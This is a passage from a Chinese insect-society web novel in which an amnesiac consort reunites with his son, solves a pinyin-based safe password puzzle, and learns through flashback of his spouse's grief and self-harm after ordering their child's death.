奥古斯特的语调很平静,像是在讲述别虫的故事。但从某些地方的停顿、神情,西奥还是能感觉得出来,那些创伤从未消失,只是被暂时埋藏了。 西奥心疼地抱住雌君,“没事的,都过去了。” “你永远不会失去我们的。” 永远不会失去……在西奥看不到的地方,奥古斯特用力咬了咬后槽牙,如果这是真的,该有多好。 “那今晚,还去治疗室吗?” “去。”西奥说,“我陪你去。” 他说:“不管是哪里,我都陪你去。” 西奥感觉自己又多了解了雌虫的一个面,哪怕这个面并不光鲜亮丽,反而阴暗血腥。但他仍然很欣慰,欣慰于奥古斯特愿意对他开口。 西奥的手指在渗血的鞭痕上缓慢移动,所以,这就是他渴求疼痛的原因吗? 因为在过往的经历中,他留下了太多的悔恨和愧疚吗? “可以再用力一点。”奥古斯特说。 这个以往会让西奥感到血脉喷张的提议,现在却开始让他感到难过了。 但最终西奥也只是手执长鞭,回应道:“好。” 这天晚上,一夜无梦。 但第二天醒来后,床的另一侧却空空如也。 奥古斯特虫呢? 西奥出门右拐,下楼梯的时候,立刻捕捉到了那个熟悉的身影。 奥古斯特正坐在一楼的沙发里,背对着他。但他并不是一个虫,身边还有一个穿军装的银发军雌,正弯着腰,一只手搭在奥古斯特的肩膀上。他们脸贴得很近,状态非常亲密,似乎正在小声说些什么。因为隔着段距离,西奥听不清具体的内容,但能听到微弱的愉悦的笑声。 这是谁啊? 不是诺亚,更不是克利夫。也不会是其他的士兵。因为从来没有哪个雌虫,会离奥古斯特这么近,这么亲密。 突然的,西奥脑子里冒出昨天阿朵耶夫说过的话:“雌虫和雌虫才是真爱!” 不会吧,不能的!昨晚他还刚跟奥古斯特互诉衷肠,亲密治疗…… 西奥停住了脚步。不是因为他有所怀疑,而是……他只是想先听听,两个雌虫都在聊什么。 西奥把身体压低,蹑手蹑脚沿着旋转楼梯向下。然后终于看清了他们在做什么。 他们在贴贴,字面意思上的,脸颊贴着脸颊。 看动作,应该是那个银发军雌主动,但是奥古斯特也没有拒绝就是了。 西奥侧耳倾听,那个军雌说的似乎是:“还会梦到我……吗?” ……不是,稍微有点暧昧了吧朋友! “咳咳!”西奥站在楼梯上,清了清嗓子,示意自己的存在。那个军雌立刻直起身,抬头看向他,嘴角还带着笑。 有点轻浮!但是不知为何,或许是因为脸太好看,西奥对他反倒讨厌不起来。还觉得怪亲切的。 “你们在干什么?”西奥义正言辞问道。 “你觉得我们在干什么?”银发军雌把问题抛了回来。 西奥皱眉,“奥古斯特是我的雌君。” “我没说他不是啊?” “那你的手为什么要放在他肩膀上?” 谁料西奥的质问却只让对方脸上的笑意愈发加深,“像这样吗?”那只手沿着奥古斯特的肩膀缓慢向上,然后落在了后颈处,轻轻揉捏抚摸。 这还不算,银发军雌甚至故意挑衅道:“西奥阁下,你这是……吃醋了吗?” “因为虫皇陛下,更宠爱我?” “好了……” 奥古斯特刚开口,却被银发军雌打断。他变本加厉搂住了虫皇的脖子,低下头,一口亲在了奥古斯特的侧脸上,吧唧一声。 “那这样呢?” 西奥眼睛都瞪大了,你你你!是不是太放肆了点?!他这个正版雄主还在这里呢! “喂!”西奥快步走下楼梯,但还是没能来得及阻止。等他下楼的时候,那个银发军雌已经直接坐在了奥古斯特的大腿上,笑容肆意又张扬。 而奥古斯特,居然没有把他推下去,就这么纵容了! “你干什么呢?!” 此刻银发已经笑得直不起腰,脸趴在了奥古斯特的肩膀上。 就在西奥下定决心要做点什么的时候,就听奥古斯特说:“好了,别闹了。” “下来吧,弗雷德。” 弗雷德?! 西奥如遭雷击,僵在原地。弗雷德·兰斯顿?!自己的虫崽? 这是自己的崽?! 自己刚刚,在吃自己家虫崽的飞醋!!! 啊啊啊虫神啊!让我逆转时间回到三分钟前,或者找个地缝钻进去吧! 此时,奥古斯特终于推了弗雷德一把。 虫崽从自己雌父的大腿上下来,笑着冲西奥打了个招呼,“好久不见,老爹。” 弗雷德上前几步,张开双臂,将西奥用力拥入怀中。然后在无虫看到的地方,没心没肺的笑容逐渐消失。 他长长吐了口气,声音里带着不易察觉的颤抖:“我好想你。” 作者有话说: 欢迎虫崽回家! 第29章 第29章任务[VIP] “怎么突然回来了?”虽然没有提前打招呼, 但虫崽回家,总归是个超级大惊喜。 高兴的同时,西奥也对着奥古斯特嗔怪道:“虫崽今天要回家, 你怎么没告诉我?” “我也不知道他这么快。” 说着,奥古斯特将目光投向虫崽。对此, 弗雷德的回应是做了个鬼脸。 为了庆祝, 西奥决定亲自下厨, 炒了几个虫崽点的菜。 但因为失忆后对做饭也没了数, 出了点岔子, 立刻被虫崽毫不留情地频频挑剔。 “这个好像有点咸。” “这个是不是没熟啊!” “雄父, 你手艺退步有点快啊!” 嘴上虽然嫌弃, 但还是全部吃完了。 “你少闹他。”奥古斯特刚要开始批评,立刻被当事虫反驳了,“我就喜欢被崽闹。” “他现在的性格, 十有八九就是被你惯出来的。”奥古斯特不赞同。 “是吗,这么可爱的性格, 居然都是我的功劳?” 之前知道虫崽是军雌,还担心过会不会性子太沉闷。后来聊天的时候发现了些端倪。但等见到真的虫, 西奥才意识到自己对于另一个生命的喜欢和爱护, 会多到这种程度。 这跟对奥古斯特的感情不一样。他当然也关心自家雌君, 但是偶尔,还是会想压一下。当然,更多的时候是并肩生活的安全和信赖。 但对于虫崽, 哪怕是已经成年许久,在军中任职的虫崽, 他仍然只想亲亲抱抱举高高,然后替他挡下所有的风雨和灾难。 西奥撑着下巴, 早饭也不吃了,只是看着弗雷德大口吃饭,脸上就会浮现出幸福满足的笑容。 啊,崽崽好能吃,胃口真好!一定可以长得很结实! 完全忽略了对方已经比自己还要高的事实。 “你不吃饭吗?”奥古斯特提醒,西奥才想起来吃几口自己的早餐。 “你今天不去研究院了?”奥古斯特又问。 “小弗要去哪?”西奥没有回答,反问道。虫崽难得回家,当然要多陪陪他! “我是因为述职会议,跟随第一军团长萨迦上将一同回来的。按照日程,待会要去军部开会。” 忙,忙点好啊! 西奥发现,自己似乎成了家里最闲的一个虫了? “那我能跟着去吗?”西奥问,“作为家属?” 弗雷德没有回答,只是看向了奥古斯特。 虫皇陛下皱眉,“这是军部的秘密会议……” 西奥双手合十,在胸前作揖,刻意睁大眼睛楚楚可怜道:“求你了?” “咳咳!”正在喝汤的弗雷德剧烈咳嗽了起来。 “咳……我没事。”眼看两位家长的视线都投向了自己,弗雷德赶紧摆摆手,“我吃好了我先走了你们慢慢聊不用管我。” 然后逃一样离开。 “他没事吧?”西奥有点担心。 “没事。”奥古斯特倒是很淡定。 但开心归开心,西奥心里总有种挥之不去的怪异感觉。虫崽确实应该搞怪又调皮,但似乎也应该有沉稳的一面?看着弗雷德笑闹的时候,不知为何,西奥脑中总是浮现出他板着脸严肃的表情。 这就是虫崽的一体两面吗? 最终,西奥还是跟着去了军部的大楼。诺亚见到他的时候跟见了鬼一样:“您怎么来了?!” “我不能来吗?”西奥反问。 诺亚看了看旁边什么都没说的奥古斯特,闭嘴了。 会议室很大,但是参与的虫却不多。似乎只有第一军团和皇家护卫队的虫在。 “在述职会议开始之前,我们要在内部开个小会,商量一下在会议上的发言,和可能遇到的情况。”诺亚给西奥解释了一下。 懂了,就是内部小会,自己虫一起蛐蛐其他虫。 奥古斯特给西奥介绍了在场的其他虫。其他的军雌都有职位和称呼,等到了第一军团长萨迦这里,奥古斯特刚说了一句:“这是萨迦……” 就被打断了,“哟,奥古的小雄主今天也跟过来了?” 萨迦拥有跟奥古斯特同款的阿凯特斯蓝眼睛,甚至比奥古斯特还要高上几公分,却并不像其他军雌那样严肃,反倒笑得非常温和。 西奥知道,既然出现在这里,代表萨迦可以信任,而且他还跟奥古斯特有血缘关系。但因为不确定自己以前跟他的关系如何,还是只谨慎地点了点头,没说话。 “哎呀,失忆了之后怎么这么拘谨,一点不好玩了。” 说着就要上手,也不知道是要摸头还是捏脸。 就在西奥犹豫要不要躲的时候,萨迦的手被另一只虫拦住了。 “别动我的雄主。”奥古斯特说。 “哈哈,陛下吃醋了?”萨迦揶揄两句,然后又对西奥说,“你看他个老古板,还占有欲这么强。你看中他哪里了?” “萨迦!”奥古斯特呵斥道。 但完全没用,“哦对,严格来说,奥古也算是我弟弟,我俩还挺像。所以我的雄主们看中我什么呢?” “开会!”奥古斯特再次道。 而西奥抓住了重点:“雄主们?” “可能是因为我位高权重,长得帅又有钱?” 西奥:“……” 下一秒,奥古斯特直接把比他还高的萨迦拎走了。 “每次只有逗你的时候奥古才会有点活虫的样子。”临走前,萨迦还不忘对西奥说。 “哎呀,你要是愿意跟我的雄主多聊天,我肯定欢迎的。”然后又对奥古斯特说。 “我对你的雄主们没有兴趣。而且今天有正事。”奥古斯特在萨迦耳边小声说了句什么。对方终于敛了笑意,看起来像个正经军雌了。 诺亚来到西奥身后,“每次只要萨迦上将在,您死都不来军部的。” 西奥干笑两声,“我现在知道为什么了。” 他本来还奇怪,为什么弗雷德都当了军雌还能这么跳脱的性格。现在看来,第一军团长要付很大的责任。 不过,虽然震惊,倒也不讨厌就是了。 “但他也没有恶意,就是特别喜欢逗雄虫而已。在其他事情上还是很靠谱的。” “他刚才说,他算是奥古斯特的哥哥?”西奥问. “萨迦上将是陛下之前一批的莫德神兵。在还活着的莫德神兵里,他们基因算是非常接近了。” “别看萨迦上将平日里不太严肃,但他的实力远在我之上。”诺亚的声音里满是崇拜,“或许,只有陛下才能赢他。” “那肯定还是奥古斯特更厉害!”西奥立刻为自家雌君站台。 “对了,萨迦有很多雄主吗?”西奥又问。他刚才用了雄主们这个称呼,让他十分在意。 “嗯……确实。每隔一段时间,他都会换一个雄主。” “还能这样?” “好像是为了缓解信息素失调的症状。传出去确实不太好听,不过,萨迦上将本虫从来也不在乎。” 作为旁观家属,西奥的位置被安排在了后面。等会议真的开始,萨迦倒是真的有点军团长的样子。 “这份是过去一年内,第一军团真实的总汇报。”大概是为了保密原则,用的还是纸质版的资料。“收入、支出、调度、伤亡、改革、战役、训练,所有的对比,都在里面了。” “而这一份,是我们打算在会议上提交的汇报。修改的地方都标注出来了,接下来的具体内容,交给弗雷德中将来介绍。” 西奥眼睛都睁大了,这就是帝国高层的公然做假吗?! 最开始,西奥还认真听了几耳朵。但很快,用词就开始专业化到了他听不懂的程度。什么虫体化军舰,什么跃迁百分比。于是,他就开始走神。偶尔能听懂的几个,是什么精神力能源化,以及普及基础教育。 奥古斯特似乎还是很有政治抱负的。 嗯……认真工作的雌君特别帅,认真工作的虫崽也是十分的可爱。 一个小时后,中场休息。奥古斯特问他:“你要是无聊了,可以回家。” 这么明显吗? 西奥不甘心地向弗雷德看过去,结果虫崽正在跟萨迦讨论什么,一个眼神都没分给他。 他的确对这些不感兴趣,也帮不上什么忙。留在这里也只是让奥古斯特分神。西奥想了想,还是决定告辞了。 并迅速离场,在被萨迦再次逗弄之前。 不过,西奥也没有回皇宫。今天天气不错,他用手环导航搜了一下研究院的位置,发现用飞板走低空路线,也只要五十分钟。 于是,便再次跃跃欲试站了上去。打过招呼后,便独自离开了皇宫。 这还是他第一次将飞板当成真正的交通工具而不是玩具。 西奥贴着矮山缓慢爬升,感受微凉的风吹过耳畔。也沿着小河溯流而上,被水面反射的太阳光照得眯起眼睛。还远远看到了大城市的天际线,高楼林立,建筑迭起。 这些低空路线选择的都是比较平缓和偏僻的地方。起初,西奥也有点担心会不会不小心迷路,会不会不小心中途没电还要打电话救援。但很快,就对这种畅快舒缓的飞行着了迷。 高度很低,不必担心摔倒,像是乘着滑板,沿着起伏的公路蜿蜒向前。 平静又幸福,如同他现在的人生。 等他终于抵达研究院正门,看了一眼时间,总共用了一个小时零三分。 比预估的久了点,但这还是他第一次单独出行。虽然慢了点,但西奥已经很满意了。 收起飞板,正准备进门,西奥耳边突然炸开了一声:“宿主啊!” 西奥稳健的步伐顿时踉跄了一下。 “你居然还在?” 自从他头疼之后,系统就突然间销声匿迹了,后来西奥还呼唤过几次,发现没有任何回应,也就作罢了。 结果现在,突然又回来了。跟它的消失一样突如其来。 “什么叫我居然还在?我当然还在!”系统控诉道,“你怎么这样,好歹我也是你的专属系统,我消失了你就一点不担心的。” “担心的。”担心你还会回来。 “你不想知道我这段时间去哪了吗?”系统问。还没等西奥回答,它就自己先说了,“主系统召唤我了!” “主系统,那又是什么?” “就是统治所有系统的系统!” 你们系统世界还怪封建的嘞! “所以呢,主系统找你做什么?” “我有两个消息,一个好消息,一个坏消息,宿主先听哪个?” 感觉有猫腻,系统通常不会卖关子。“我能都不听吗?” “坏消息是,因为太长时间任务毫无进展,我被主系统惩罚了,呜呜!” 面对系统的痛苦,西奥毫无感觉,“是什么惩罚?” “那肯定是扣积分。但因为我们积分是0,最后就变成体罚了。” “等下,体罚?”西奥突然联想到系统开始安静这段时间,也正是自己开始头疼的时间。 面对自己的痛苦,西奥发出质问:“我的头疼,是不是被你连累的?!” “谁连累谁啊!明明是你什么任务都不做才连累了好统!”系统不干了。 “在你出现之前,我的生活好得很!而且我早就说了,让你另寻宿主,你又不听!”西奥据理力争,“你要是早换宿主,我们不就都没事了吗!” “宿主哪有那么容易换,一旦绑定了就是一辈子的事!” “这么严重的后果,你为什么没有在绑定我之前进行考察?而且都没经过我的同意!” “啊啊啊宿主我好心帮你,拯救你于反派的水深火热之中,你就这个态度吗!” “你怎么知道我跟奥古斯特打得火热?” 系统:“……谁问你这个了!你这个态度,迟早被反派干死知不知道!” “干死就干死,至少不会头疼!” 吵了半天,谁也不服气谁。 “所以,好消息是什么?”一顿沉默后,还是西奥率先打破了沉默。因为他在门口站的有点久了,已经有路过的虫好奇看他了。 “好消息是,经过统舍生忘死的据理力争,没脸没皮的哭叫求饶……” “说重点!” “终于拿到了一个难易程度只有0.5的支线任务!” “是什么?” “跟二十个雄虫交朋友,并进行长达十秒的拥抱接触。一个一分,完成任务后,再获得十个积分。所以总共可以拿到三十分!”系统生气地宣布,“快感谢我吧!否则你以后还有的头疼呢!” “我认识的雄虫太少了,二十个也不知道什么时候能攒够。”他能想到的唯一一个雄虫,也就是吉尔了。 “加油啊,宿主!这个任务已经够简单了!总不能还说是我的问题吧!” “积分除了抵消惩罚,还有什么别的作用吗?”西奥想了想,问。 “还可以兑换关键隐藏信息哦!” “比如?” “比如,你就不想知道原作里,奥古斯特是怎么杀了你的吗?”系统诱哄道。 “我知道啊!”西奥说。 “你知道?!”系统都愣了,“怎么杀死的?” “在床.上把我杀死的。” 作者有话说: 本章是一千营养液加更。总之就是加更,原因是什么别管! 在评论区表演后空翻试图吸引读者注意力! 第30章 第30章记录[VIP] 在用一句话杀死跟系统的对话后, 西奥走进了研究院。 刚进门,前台的一个雄虫立刻热情地跟他打了声招呼,“院长来啦!” “刚才看你一个虫在门口站了半天, 还以为有什么事呢!” 尴尬,以后跟系统说话的时候还是要注意点。 西奥礼貌点头, 刚要去乘坐电梯, 突然觉得这个前台的声音有点耳熟, 又退了回来, “克莱恩?” 克莱恩忙不迭点头, “院长还记得我!太好了!” 克莱恩一头卷毛, 眼睛很大, 鼻子又小又翘,像一只可爱的小仓鼠。一看到他,西奥又想起那句, “你们想在走廊上干啥都行!”了。 心情的尴尬程度顿时翻了一百倍。 “当然记得。”但讲道理,克莱恩作为研究院的员工, 很听自己的话。说查监控就查监控,说取消权限就取消权限, 西奥对他还是很有好感的。 然后, 突然想起了系统的任务。 其实, 如果能够从中获得一些好处,西奥也并不排斥。 于是他问:“克莱恩,我们是朋友吗?” 克莱恩点头, “当然!” “那我们可以拥抱一下吗?” 于是十秒过后,西奥听到了叮!的一声:恭喜您, 获得1积分! 以及一个不知为何眼泪汪汪十分感动的小门卫。 西奥告别依依不舍的克莱恩,进了电梯, “好,我现在有积分了,能用来做什么?” “只有一个积分!什么都换不到啊!最简单的情报也需要五个积分!” 得,白抱了。 但事已至此,西奥也不希望这一个积分被浪费掉。于是没直接去自己的办公室,先去了一趟吉尔的实验室。 然后把正在解剖大脑做切片的好友从无菌室里薅出来,隔着手术服抱住了他。 吉尔解剖手套都没摘,上面还沾了点血,只能高举双手,任由西奥抱住。表情茫然地像是正在树上吃叶子却突然被从上面薅下来的考拉,“你在干嘛?” “我在确认一件事情。”西奥答。 “什么事情?” 伴随着“叮”的一声,又一个积分到账了。 西奥满意地放开,“我们是好朋友,对吗?” “本来是的。但你就为了这个,把我无菌手术服弄脏了,我现在还得重新换一套。”吉尔一脸控诉,“你知道换这一身多麻烦吗!” “咳,那你继续忙吧。不打扰你了。”西奥自知理亏,迅速后退。 “现在绝交还来得及吗——”身后传来吉尔气急败坏的声音。 开头两个积分都很顺利,但后面就变困难了。 西奥在返回自己办公室的路上,随机拥抱了一个路虫同事,只得到了对方的惶恐,其他什么都没有。 “可能不是朋友不算。”系统提醒。 既然如此,西奥也不急了。总归不是什么迫在眉睫的事情。 西奥回到办公室,打开了自己的电脑,想整理一下文件夹里混乱的内容。 结果统计之后发现,里面有超过十万个视频和照片,乱码标注,随意存放,内容不明。 他沉默了三秒,然后关掉了这个可怕的文件夹。 既然是没失忆的自己留下的文件,那还是等自己恢复了记忆再来整理吧。这样快一点。 西奥自我安慰着,接着把整理的目光放在了自己的文件柜上。 这里面的文件和书籍倒是分门别类,排放得十分整齐。大概是因为上层有玻璃柜门,会被进来的虫看到吧。 说干就干,西奥卷起袖子,开始一边查看一边整理。里面有各种论文的草稿一版二版三版,还有一些实验数据,一些荣誉证书。但总归,只需要小小的动手,就能收获大大的整齐和满足。他很喜欢这样的体力劳动。 直到打开文件柜的下层,没有安装玻璃的柜门下层,发现里面藏着一个超大的保险箱。 西奥蹲下来,看着保险箱上的密码界面,试探着输入了:123456。 【密码错误,请重新输入!】 果然没这么简单! 既然特地用了保险柜,那这里面的东西应该很珍贵。会是什么呢? 是金条?还是股票债券?总不能是他和奥古斯特的小视频吧! 西奥又试了一下:666666。 再次失败。 西奥实在太好奇里面的东西了。而且冥冥之中,他有种感觉,这里面的东西对他来说很重要。于是特地叫了汉斯过来,“我失忆了,不记得这个保险箱密码了。能直接锯开吗?” 汉斯帮忙查看了一番,最后摇头,“不行。这是有特殊安全保障的保险箱,如果强行拆开,会导致里面的东西被销毁。” 嘶……过去的自己,真是给现在的自己留了个难题。 西奥再次尝试:888888。还是不行。 好,他没招了。 他问汉斯,“你知道我一般习惯用什么当密码吗?” 汉斯摇头,“现在都是生物解锁,谁还用数字密码啊!” 好有道理。不过西奥又想到了什么,开始试奥古斯特的生日,自己的生日,虫崽的生日。但都不是。 汉斯离开了办公室,西奥不死心地坐在地板上,从000000开始一个一个试。 不就是一百万个数字吗!总能解开的!精诚所至,金石为开! 但等试到第九十九次的时候,西奥放弃了。太累,而且方法太笨了。 穷举法看似有可能,但是如果纯手工尝试,就算一秒可以输入一次,那也需要一百万秒,也就是11天13小时46分40秒。还是在不吃不喝不停的情况下。 有这个时间干点什么不好。 “噗!”偏偏此刻,系统还发出了嘲笑。 “怎么,你能帮我打开吗?”西奥问。 “用100个积分来换,可以啊!” “完成你说的交朋友支线任务,也才一共三十个积分,我从哪赚一百个?” “杀了奥古斯特就有了!有一万积分呢!” 西奥思索片刻,“杀奥古斯特那是万万不可能的!但我觉得这个任务本来就很不合理。谁家新手一上来就打boss,是不是能分成阶段性的任务来做??” “比如,抽一鞭子可以算一次伤害分吗?”反正都要抽,不如顺便换点积分,西奥讨价还价。 “宿主,烫知识,情.趣不能算伤害啊!” “那奥古斯特确实很疼啊!”很疼,也很瑟,也很……让他心疼。“就不能想个办法瞒过主系统吗?” “至少在这方面,我们算统一战线吧?” 系统抓狂,“有没有可能,主系统有脑子!你怎么天天想那些歪门邪道啊!” “那我咬奥古斯特一口,能算吗?留下牙印那种?” “我求求你,别再说了,咱们系统都是正经统。” 系统不靠谱,密码没线索。尽管非常好奇,但目前来看,神秘保险箱的打开也只能暂时搁置了。 西奥不甘心地捶了一下这个金属箱子! 结果,一张纸条从文件柜隔板上方飘落,掉到了西奥的腿上。 那上面是再熟悉不过的字迹,是自己的字迹,写着:密码是名字,九键转换再减一。 哦呼! 使用九键将拼音转换成数字,是西奥上一世就常用的方法。但是虫族的输入法中,只有三十六键的输入方法,所以虽然写得很直白清楚,但恐怕只有自己这个前人类才知道怎么转换。 西奥,罗马拼写是THEON,还少了一个,用0补位,转换成九键就是843660,减一之后是732559。 西奥信心满满将这个密码输入。 还是不对。 他转念一想,名字,或许不是自己的名字,那就是奥古斯特的?如果那样的话,罗马拼写是AUGUST,转换之后是173768。 仍然不对。 那还能是谁的名字呢?西奥又试了池骁、兰斯顿、弗雷德、莫德,甚至默兹力和阿朵耶夫。但都不是。 西奥烦躁地抓了抓头发,还有什么名字,对自己来说非常重要呢? “笑死,宿主失忆后,连自己的名字都忘了?”系统发出灵魂拷问。 对哦!西奥灵光一闪,如果失忆的人看到这个字条,会怎么理解呢?如果连自己的名字都忘记的话,那么从字面意思来看…… 西奥将名字的拼音mingzi用九键转换成了数字,535383,然后输入。 伴随着咔哒一声轻响,保险箱的锁,开了! 西奥兴奋地拍了一下手掌!不愧是自己,谜底就写在谜面上! 但等他打开这个神秘保险箱,却发现里面没有现金,也没有债券首饰。只有一台摄像机。 西奥拿出来,打开摄像机,发现里面存放了大量的视频。只不过不同于那个超级凌乱文件夹,这里面的视频都是按照日期标注好的。 西奥翻到最早的日期,大概是五年前,打开。 里面是自己,坐在桌前,对着镜头说:“这里是西奥·兰斯顿,这是我的日常vlog,第一期。” 镜头里的自己看起来稳重、平静。嘴角带着淡淡的笑意:“我犹豫了好久要不要拍这个记录视频。但最终,还是决定要留下点什么。” “那就先来看看我的办公室吧!这个,看到这个屁股草没有,这是崽送我的!一直养到现在了,不容易!” 西奥顺着自己的解说,目光落到了桌角。那里只剩一个空荡荡的巴掌大小的花盆,里面的屁股草,那颗绿油油、圆滚滚的小生命,已经消失了。 好可惜。 整个视频就是这样的风格。西奥会在里面认真介绍自己的桌面,书柜,甚至沙发抱枕。这个水杯哪里来的,那个摆件是谁送的,这张照片是哪里拍的。从这里面,能够清晰看到过往跟现在的变化。任何一点小东西,哪怕桌子上的一颗糖果,西奥都会说上好久。 事无巨细,甚至有些琐碎。 但现在的西奥,看得津津有味。 直到被一个闹钟打断。 是一个事项提醒:别忘了给弗雷德买生日礼物!!! 三个感叹号,代表非常重视。 西奥停下了视频。崽已经回来了,礼物是不是可以买多点,买大点? 听说他喜欢画画,小时候的梦想是加入皇家护卫队。西奥将这两者结合起来一搜索,立刻找到了皇家护卫队联名款的画架。简洁耐用,上面加了护卫队的经典logo。 价格也不贵,只要998。西奥想都没想立刻下单了。 希望弗雷德能喜欢。 然后,他又开始挑选生日蛋糕。圆的还是方的?要不要加水果?冰激凌款的怎么样?但会不会太冰了呢?- 与此同时,被西奥心心念念惦记的虫崽,也在面对一场不为外虫所知的交谈。 对象自然是他的雌父,虫皇奥古斯特。 他们正在奥古斯特的办公室内,一坐一站,仿佛不是父子,而是上下级。 西奥不在场,奥古斯特便再也没有把视线放在他脸上。跟以前一样。 “今年的会议,我打算交给萨迦主持。在正式宣布之前,我想,你有权力知道这件事。” 弗雷德点头,他知道虫皇正在寻找继任者,最开始是忠心耿耿的诺亚,现在是实力更强的萨迦。唯独不可能是他。 他很早之前就知道,不管他怎么做,取得怎样的成绩,永远都无法取代哥哥。 那个在雌父心中最完美的继任者。 “之前雄父的情况不明,你找继任者我能理解,但是现在,都已经确认安全了,还有这个必要吗?”顿了一下,他又说,“心理咨询师说,您不是很配合。” 谁继任虫皇,对于弗雷德来说,没有太大区别。他现在最担心的,还是奥古斯特本虫。 “而且你还没有回答我的问题。” “你还会梦到我……死在您的面前吗?” 作者有话说: 挨个抱抱给我留评论的天使,爱你们嘿嘿!《 》 30-40 第31章 第31章痛[VIP] 在托亚扪能源中心发生第一起爆炸的三十分钟后, 奥古斯特就抵达了现场。随后,现场由皇家护卫队全面接管。 借助无处不在的监控,以及犯罪者完全没有掩盖的意思, 事实相当清楚。 现在,有一个失控的雌虫, 正在能源中心的地下一层, 跟足以把方圆一百公里炸翻的阿凯特斯能源芯在一起。而距离这里三十公里的地方, 就是一座百万级别的大都市。 撤离已经在紧锣密鼓进行中。但是很可能, 来不及。 确认感染, 谈判失效。剩下的唯一办法就是…… “有视野吗?”这是奥古斯特抵达后, 说的第一句话。 “否定的。”占据了周围几个制高点的狙击手们回答。 “负一层全是烟雾, 视野不清。” 奥古斯特点头,示意他已经清楚。 “陛下,您……”诺亚上前, 刚要说什么,却被奥古斯特抬手阻止了。 他闭了闭眼, 在紧凑的时间里用力喘息了一下,然后说, “他看起来很正常。” “他昨晚回家的时候, 看起来很正常。我们还一起吃了晚饭, 我问他在军队里过得怎么样,最新的能源化管理提案有没有遇到阻碍,然后他说……” “陛下。”诺亚上前, 用力握住了奥古斯特的手。 “他说一切都好。” 奥古斯特把手从诺亚手里抽出来,声音冰冷:“我什么都没发现。” “我什么都没多问。” “西奥也没有。” 然后, 他转身,去房间里打了一个电话。诺亚知道那是打给谁的, 但没虫知道他们究竟谈了什么。 奥古斯特出来后,神情依旧冷静。 这时候一个狙击手汇报,“有视野了。嫌疑犯出现在了没有烟雾的窗口。” “是否批准狙击?” 诺亚猛地看向奥古斯特。 只见奥古斯特抬起一只手,说:“批准。” 噗! 或许你会惊讶,子弹射穿头颅的声音,听起来并不震耳欲聋,尤其在远处,还有些微弱。像是一个水袋被轻轻戳破。噗!的一声。 与此同时,远在首都一家教堂的另一个雌虫,霎那间被袭入脑海的巨痛所击倒。他瘫倒在地,眼前漆黑一片。 像是陡然失去了自己的另一半世界。 “弗莱特!”他听到有虫大喊他的名字。 弗雷德从小就是个听话的虫崽。每次饭桌上,他总是那个认认真真把每一粒米都吃完的孩子。而另一边,弗莱特已经用米粒在桌子上摆了个小恐龙了。 “不要浪费粮食。”奥古斯特说。 “崽崽是个艺术家!”西奥亲了亲弗莱特的小脸。 弗莱特举起小勺子,“艺术家!” “你会把他宠坏的。”奥古斯特不赞成道。 “没错没错,就是雄父宠坏的!”西奥亲了亲旁边板着脸的弗雷德,然后开始收拾桌子上的米饭。 “他自己弄的,就该自己收拾。”奥古斯特说。 “好好好,等他长大了,就让他自己收拾。” 后来弗莱特长大了,也的确跟普通雌虫不太一样。甚至有次将他那头银色长发,一声不吭染成了过于张扬的红色。为此,奥古斯特还跟他大吵了一架。 奥古斯特曾以为,自己会给这个小虫崽收拾一辈子烂摊子。直到—— “我来顶替哥哥。”他说。 “托亚扪事件,可以是艺术家弗莱特做的。但不能是第一军团中将弗雷德。” “所以,我来做哥哥。”弗莱特说,“我来做弗雷德。” 在托亚扪事件之后的一周,奥古斯特表现得跟往常没有任何区别,依旧每日处理政务,发表声明,安排修复。在各方压力之下,完成所有的收尾工作,以及那场远算不上天衣无缝的调换。 所有相关的档案都被销毁、或者封存。 直到一切都落下帷幕。弗雷德回到第一军团,托亚扪事件舆论平息,就连西奥也返回了精神力研究院。 生活看似回到了正轨。 因为众所周知的原因,他们只举办了简单的葬礼,将“弗莱特”埋葬。出席参加的只有寥寥几个亲近的虫。 即便是在这个简陋的葬礼上,奥古斯特依旧表现得十分得体、冷静。 杀死自己的虫崽,似乎没有对他这个理智冷酷的帝王造成任何影响。 毕竟,他只是做了,自己不得不做的、正确的决策。 毕竟,多数的利益高于少数。 毕竟…… 于是,身边没有虫责怪他,有的更多是理解、和支持。 他注意到西奥的目光和精神力会长时间落在他身上,温柔的、担忧的。军医克利夫开始频繁为他检查身体。诺亚悄无声息地增加了在他身边的工作时长。而在遥远的第一军团,弗雷德顶住所有压力,在萨迦的配合下,在一次次的任务中努力成长为一个合格的中将。 然后有一天,西奥给他打视频电话,抱怨说办公室里养的屁股花生病了,长了灰白的斑点,开始一点点腐烂。他问了好多专家,都说这花要死了。 “他死了吗?”奥古斯特突然问。 西奥一愣。那只是一小盆花。但那是弗雷德送给他的花。 “他死了。”奥古斯特肯定道。“是我杀了他。” 然后下一秒,眼泪不受控制地涌出。奥古斯特面无表情,却泪如泉涌。 视频被挂断。西奥疯了一样往皇宫赶。 “奥古斯特!”他听到了西奥的声音,大声的、焦灼的,然后像是猛然从窒息的深水中浮出水面,他用力喘了一口气。 感官逐渐回归,意识慢慢清晰。奥古斯特感受到了剧烈的疼痛。颈部、背部、腹部、四肢。 他低头,看到自己满身鲜血,正跪在霍尔德宫殿,三楼,弗雷德房门外。 原本得心应手的精神力丝线,不知为何将自己的身体切了个七零八碎。 “奥古斯特!停下来!停下!”西奥惊慌失措地大喊,双手颤抖着伸出,却完全不敢碰他。 奥古斯特意识到,莫德神兵的诅咒,到底还是在他身上应验了。 他看向西奥,精神力奔涌而出,迅速修复着深可见骨的伤口。但还有更深的地方,他也无能为力。 奥古斯特向自己的雄主乞求道:“救救我。” 西奥救了他,又一次。像是所有雌虫能够拥有的最好的雄主那样,负责、托举、照料。一次次将他从死亡边缘拉回。 霍尔德宫殿内,一些新的秩序开始建立。弗雷德和弗莱特的照片消失了,房门被紧锁。 地下室里,多了一个特殊的精神力治疗室。 即便如此,奥古斯特仍然不止一次用精神力切开自己。因为那种破坏和疼痛,像毒.瘾一样让他着迷。 好在每次都能被西奥及时找到,并救回。 但西奥的存在和负责,却让他逐渐变得有恃无恐。伤害一点点变深、加重。然后好几次,差那么一点点就进入了卵化状态。 有一天早晨,他们正在餐桌上一起吃早饭,上一秒还在聊研究院的课题,有说有笑,下一秒,精神力丝线径直切开了奥古斯特的颈动脉。血液喷溅出来、洒满餐桌的那一刻,西奥尖叫出声。 但奥古斯特只是神色平静地用手掌压住伤口,然后开始愈合。 西奥终于受不了了,“你不能这样了!你知不知道我现在每次看到你都会吓得心惊肉跳,生怕下一秒你就……” “如果有一天我离开了,你要怎么办?!” 但奥古斯特只听到了一句:“你要离开?” 他意识到,如果西奥真的离开,他大概活不过一周。 西奥已经忍了他那么久,离开……也很正常。 也就是从那时候起,奥古斯特开始有意地培养继任者。 